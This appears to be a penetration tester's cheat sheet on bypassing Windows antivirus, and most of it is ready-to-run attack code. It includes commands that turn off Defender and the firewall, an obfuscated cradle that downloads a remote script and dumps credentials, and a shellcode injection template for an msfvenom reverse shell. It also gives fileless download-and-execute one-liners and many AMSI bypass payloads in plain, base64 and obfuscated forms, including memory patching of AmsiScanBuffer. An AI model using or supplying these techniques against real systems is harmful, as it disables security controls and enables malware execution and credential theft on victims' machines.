Antivirus or AV is a kind of software used to prevent, scan, detect and delete malware from a computer. During our assessments there are a lot of tools such as meterpreter, mimikatz, etc that are flagged as a malware.
So in order to perform our work properly we need to bypass the AV.
Some interesting websites or programs that will help us to determine if our binary/script is flagged as a malware:
- https://antiscan.me/
- https://github.com/RythmStick/AMSITrigger
- https://github.com/matterpreter/DefenderCheck
Deactivate Antivirus and Firewall
Antivirus
Check status:
Get-MpComputerStatus
Need NT AUTHORITY/SYSTEM
rights if the UAC is enabled.
Stop Real-time procetions and AMSI:
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
net stop WinDefend
If it is not possible login via RDP with an Administrator user and disable it manually.
Firewall
Disable firewall by executing:
netsh advfirewall set allprofiles state off
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
String Replacement
String Replacement is one of the oldest techniques. Antivirus makes use of signatures, if we replace the name of:
- variables
- functions
- more over
We can modify the signatures in order to bypass the AV. Read more:
- https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/
- https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks/
Obfuscation
Obfuscate is the action of amking something obscure, unclear or unintelligible.
Invoke-Obfuscation
Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator.
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
set SCRIPTBLOCK "iex (New-Object System.Net.Webclient).DownloadString('http://localhost/script.ps1);Invoke-Kapokatz.ps1 -DumpCreds"
ENCODING
5
Result:
inVoKe-EXPRESSiOn ( ([rUNTiME.iNteRopsERViCEs.marshAl]::ptRTosTriNGaUto( [RuNtIMe.InteRopSErviCEs.marshaL]::seCuREsTrinGtobsTr($('76492d1116743f0423413b16050a5345MgB8AC8AagB1AEwAbQBnAGEAcgBSAE0AUQBSADYAWQA1AHIAeQBPAHEATwBQAEEAPQA9AHwAOABlAGUAYQBmAGUAZQBjAGYAOAA5AGEAMAAxADMAYQA1ADcAMQA3AGYAZgA0ADQAMQA3AGIAMAA1ADAANwBjAGUAMwBiAGQANAAwAGYAMQAyADQANQBkAGEAZABmADcANAAwADgAYgBjAGMANAA3AGYAMQA1ADAANgBjADAANgBmADEAYwA4ADEANABlAGEANQA4ADAANABkADgAYwA4ADIAOAA3AGMAMABkAGMAYwBlAGEAYwA3AGQAMwA4ADcAMAAzADQAYgA2AGQAOAA0ADYAYQAwADIAZABiADQAYQA1ADEAZgBlAGMANgBmAGYAOAA4ADMAMABlAGQAMwA1AGIAZAA1AGEAMwA4ADkAYgAyADAANgAyAGEAYQAzADcAMQBhADUAYQBmAGQAOAAwADcAOQA0AGUAZgA1ADYANQA3AGQAZgAzADIAMgBhAGUAMAA2ADAAYgAxADgAYwBhAGUAYwBjAGUAMABlADMAZABkADYAMAAxADYAZQA0ADcANABiADAAZgA4ADEAYQA0AGEAZgA5ADQANAAwADcAOQBlADkAMgAyADcAZgBiAGEAZQBkADkAMAA0AGUAOQA3ADEAMwAwAGIANgAzADgANwBmADgANQAzAGQANQBiAGEANwBmAGMANQAzAGIAYwBlADYAOABlADgANwA2ADcAZQA0AGYANQBiADMAMwBkAGIAOQA1ADQAMgA5ADYAOAA5ADgANgBmADEANgAxADIAMwBjAGMAOABhADAAZQAwADEAOABlAGUAMAA5ADEAMgBjAG')))))
Invoke-CradleCrafter
Invoke-CradleCrafter
is very useful for implementing obfuscation.
More info in :
In-Memory Injection
Template
A basic template script that performs in-memory injection:
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
# msfvenom -p windows/shell_reverse_tcp LHOST=<ip_addr> LPORT=<port> -f powershell
[Byte[]]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
Powershell Scripts
We can download and execute a script without saving it on disk. This is a powerful tool because we prevent the antivirus from scanning our file.
iex (New-Object System.Net.Webclient).DownloadString('http://ip-addr:port/file.ps1')
iex (iwr 'http://ip-addr:port/file.ps1')
Since this technique was appear, windows implemented the AMSI (Antimalware Scan Interface)
as a method to defend from malware during execution. So we need to bypass it.
Invoke-ReflectivePEInjection.ps1
With Invoke-ReflectivePEInjection.ps1
from PowerSploit
we can convert a dll
or exe
binary to a PowerShell script.
We just need to convert our exe to base64 in order to hardcode it in a PowerShell script.
$PEBytes = [IO.File]::ReadAllBytes('C:\Windows\Temp\binary.exe')
$b64 = [System.Convert]::ToBase64String($PEBytes)
Finally we just need to append the following code in the Invoke-ReflectivePEInjection.ps1
.
$b64 = "BASE64-BINARY-CHANGEME"
$PEBytes = [System.Convert]::FromBase64String($b64)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3"
Note: Sometimes arguments doesn’t work so maybe you need to harcode the arguments on the binary and recompile it.
Example of hardcoding arguments on PrintSpoofer (c++):
BOOL g_bInteractWithConsole FALSE;
wchar_t commad[] = L"cmd.exe";
LPWSTR g_pwszCommandLine = command;
If and error like that occurs Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
Try to replace the following line:
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
To:
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
AMSI bypass
Microsoft has developed AMSI (Antimalware Scan Interface) as a method to defend against common malware execution and protect the end user. By default windows defender interacts with the AMSI API to scan PowerShell scripts, VBA macros, JavaScript and scripts using the Windows Script Host technology during execution to prevent arbitrary execution of code.
When a user executes a script or initiates PowerShell, the AMSI.dll
is injected into the process memory space. These two API’s are used by the AV to scan the buffer and strings searching signatures from malware.
AmsiScanBuffer()
AmsiScanString()
If a known signature is identified during execution does not initate and a message appears that the script has been blocked during execution by the antivirus.
Even though some of the techniques in their original state are blocked, modification of strings, variables and functions, encoding and obfuscation could revive even the oldest tactics.
PowerShell Downgrade
Even though that Windows PowerShell 2.0 is deprecated, in some devices it hasn’t been removed. Older versions of PowerShell does not contain security controls such as AMSI.
powershell -version 2
Set “amsiInitFailed” flag
Setting the amsiInitFailed
flag prevents the AMSI scanning capability for the current process:
- Original Payload:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
- Base64 Encoded Payload:
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
- Obfuscated Payload:
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
- Alternative Payload with the usage of variables:
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static') $field.SetValue($null,$true)
- Not detected by auto logging
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]"-as[String].Assembly.GetType('System.T'+'ype')),[Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as[String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)
We can find more payloads on the following webpage:
Hooking
Exists a proof of concept of hokking into the AmsiScanBuffer
function with a DLL. The AmsiScanBuffer
function will be executed with dummy parameters.
.\SimpleInjector.exe powershell.exe .\AmsiHook.dll
Note: Not working because
AmsiHook.dll
is flagged by the AV.
Memory Patching
Rasta-mouse released an AMSI bypass
which patches the AmsiScanBuffer()
function in order to return always AMSI_RESULT_CLEAN
.
-
Patch:
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
[System.Reflection.Assembly]::LoadFile("C:\Users\pentestlab\ASBBypass.dll")
[Amsi]::Bypass()
Obfuscating the powershell version of ASBBypass
we can succesfully bypass the AMSI.
${_/==\_/\__/===\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQA=')))
Add-Type ${_/==\_/\__/===\_/}
${__/=\/==\/\_/=\_/} = [Win32]::LoadLibrary("am" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBpAC4AZABsAGwA'))))
${___/====\__/=====} = [Win32]::GetProcAddress(${__/=\/==\/\_/=\_/}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBjAGEAbgA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgB1AGYAZgBlAHIA'))))
${/==\_/=\/\__/\/\/} = 0
[Win32]::VirtualProtect(${___/====\__/=====}, [uint32]5, 0x40, [ref]${/==\_/=\/\__/\/\/})
${_/\__/=\/\___/==\} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${_/\__/=\/\___/==\}, 0, ${___/====\__/=====}, 6)
Force an Error
Since there is a signature for the amsiInitFailed
flag, an alterantive was discovered which attempt to force an error in order to set in a legitimate way the flag on true.
- Original Payload:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);
- Obfuscated Payload:
$fwi=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+8092-8092));[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$('àmsìSessîõn'.NoRMALiZe([char](70+54-54)+[cHaR](111)+[cHar](114+24-24)+[chaR](106+3)+[chAR](68+26-26)) -replace [CHAR](24+68)+[chaR]([BytE]0x70)+[CHar]([bYtE]0x7b)+[cHAr](77+45-45)+[chaR](62+48)+[CHAR](125*118/118))", "NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$([char]([bYtE]0x61)+[ChaR]([BYte]0x6d)+[Char](55+60)+[chAr](105+97-97)+[CHAr]([byTe]0x43)+[ChaR](111+67-67)+[char]([BytE]0x6e)+[cHaR]([bYtE]0x74)+[cHAr](101)+[CHar](120)+[cHAR](116))", "NonPublic,Static").SetValue($null, [IntPtr]$fwi);
Usage of syscalls/opcodes with an stager
donut etc… future content
Other Tools
Shellter
Another way to bypass AV is using Shellter